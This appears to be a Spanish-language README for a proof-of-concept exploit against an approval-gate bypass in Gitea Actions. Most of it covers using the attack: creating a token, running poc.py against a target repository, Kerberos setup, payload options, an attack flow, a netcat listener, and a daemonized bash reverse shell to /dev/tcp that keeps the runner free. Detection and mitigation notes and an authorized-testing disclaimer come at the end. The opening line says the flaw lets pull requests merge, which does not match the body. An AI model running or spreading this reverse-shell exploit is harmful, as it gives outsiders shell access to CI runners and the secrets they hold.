
Una falla en la lógica de puerta de aprobación del servidor Git de código abierto Gitea permite que una solicitud de extracción originada desde un fork permanente se fusione sin satisfacer las puertas de aprobación configuradas del repositorio.
Severidad: Alta (CVSS 8.9) Afectado: Gitea ≤ 1.26.2 Corregido en: Gitea 1.26.3 Aviso de seguridad: GHSA-777r-4v59-6486
Gitea Actions aplica una compuerta de aprobación en las ejecuciones de workflow activadas por pull requests de fork. La compuerta está implementada en ifNeedApproval() y está diseñada para evitar que contribuyentes no confiables ejecuten código arbitrario a través de los pipelines de CI.
El fallo es que ifNeedApproval() solo se aplica correctamente al evento pull_request. Cada tipo de evento listado en el bloque on: de un workflow produce un objeto ActionRun independiente con su propia verificación de aprobación. Cuando un atacante amplía el bloque on: para incluir eventos como pull_request_review, issue_comment o pull_request_review_comment, esas ejecuciones se despachan sin pasar por la compuerta de aprobación.
Activar cualquiera de estos eventos sin protección —por ejemplo, publicar un comentario de revisión de PR— inicia inmediatamente la ejecución del workflow con la cuenta de servicio del runner, sin requerir aprobación de un mantenedor.
La función ifNeedApproval() verifica la aprobación basándose en (repo_id, trigger_user_id) para el evento pull_request, pero no aplica esta verificación de manera consistente en todos los tipos de eventos activables.
Ruta vulnerable:
POST /repos/{owner}/{repo}/pulls/{index}/reviews
-> Gitea creates ActionRun with event=pull_request_review
-> ifNeedApproval() not called for this event type
-> Job dispatched to runner immediately
| Requisito | Detalle |
|---|---|
| Cuenta de Gitea | Cualquier usuario autenticado con permiso de fork |
| Repositorio objetivo | Gitea Actions debe estar habilitado |
| Runner | act_runner debe estar en línea y registrado |
| Red |
# Minimum
pip install requests
# For Kerberos/Negotiate auth
pip install requests requests-gssapi
Mediante el navegador: Settings -> Applications -> Generate Token
Scopes necesarios: escritura de repositorio + escritura de issues.
Mediante API:
curl -s -X POST http://gitea.example.com:3000/api/v1/users/<username>/tokens \
-u "<username>:<password>" \
-H "Content-Type: application/json" \
-d '{"name":"pwn","scopes":["write:repository","write:issue"]}'
Ejecutar:
python3 poc.py \
--url http://gitea.example.com:3000 \
--token <token> \
--target-owner <owner> \
--target-repo <repo> \
--lhost <attacker-ip> \
--lport 4444
Para instancias de Gitea que solo aceptan Kerberos/SPNEGO (entornos de Active Directory con SSPI obligatorio). Debe ejecutarse desde un host unido al dominio con un TGT válido.
kinit [email protected]
klist
python3 poc.py \
--url http://gitea.corp.local:3000 \
--negotiate \
--target-owner <owner> \
--target-repo <repo> \
--lhost <attacker-ip> \
--lport 4444
Si falla la resolución de DNS, configura /etc/krb5.conf:
[libdefaults]
default_realm = DOMAIN.LOCAL
dns_lookup_realm = false
dns_lookup_kdc = true
rdns = false
[realms]
DOMAIN.LOCAL = {
kdc = <DC_IP>
admin_server = <DC_IP>
}
[domain_realm]
.domain.local = DOMAIN.LOCAL
domain.local = DOMAIN.LOCAL
--url Gitea base URL (required)
--token API token
--negotiate Kerberos/SPNEGO auth (kinit first)
--cookie Session cookie string
--target-owner Target repo owner (required)
--target-repo Target repo name (required)
--lhost Attacker IP for reverse shell (required)
--lport Attacker port (required)
--runner-label Runner label to target (default: tries common labels)
--detect-label Auto-enumerate runner labels before exploiting
--fork-name Custom fork name (default: <repo>-<random>)
--workflow-name Custom workflow filename (default: ci-<random>.yml)
--pr-title Custom PR title (default: random realistic string)
--review-body Custom review comment (default: random)
--payload-type bash / python3 / nc / custom (default: bash)
--custom-payload Shell command (use with --payload-type custom)
--no-cleanup Leave PR open after exploit
--cleanup-delay Seconds before cleanup (default: 30)
nc -lvnp 4444
1. Authenticate to Gitea API
2. Fork target repo into attacker namespace
3. Enable Actions on fork
4. Inject malicious workflow with bypass events in on: block
5. Remove inherited workflows from fork (prevents runner interference)
6. Open PR: attacker/fork:main -> target/repo:main
7. POST /repos/target/repo/pulls/1/reviews {"event":"COMMENT","body":"..."}
-> pull_request_review event fires
-> ifNeedApproval() NOT called
-> ActionRun dispatched immediately
8. Runner executes payload -> reverse shell as runner service account
Por defecto, act_runner es de un solo worker. Si el paso del reverse shell no termina limpiamente, el runner permanece en estado "running" e ignora nuevos jobs.
Para evitar esto, ejecuta el shell en segundo plano:
- name: run
run: |
setsid bash -c 'bash -i >& /dev/tcp/LHOST/LPORT 0>&1' &
sleep 1
exit 0
O usa --custom-payload para pasar un one-liner demonizado directamente.
ActionRun con event=pull_request_review o event=issue_comment provenientes de PRs de forkpull_request_review con pasos de ejecución de shell| Acción | Detalle |
|---|---|
| Actualizar | Gitea 1.26.3+ corrige este problema |
| Solución alternativa | Deshabilitar Gitea Actions en repositorios con contribuyentes no confiables |
| Auditar | Revisar los PRs de fork y las ejecuciones de workflow asociadas para detectar ejecuciones inesperadas |
| Restringir | Limitar los permisos de fork a usuarios de confianza |
Solo para pruebas de seguridad e investigación autorizadas. No lo utilices contra sistemas sin permiso explícito por escrito.
| El host del atacante debe ser alcanzable desde el runner |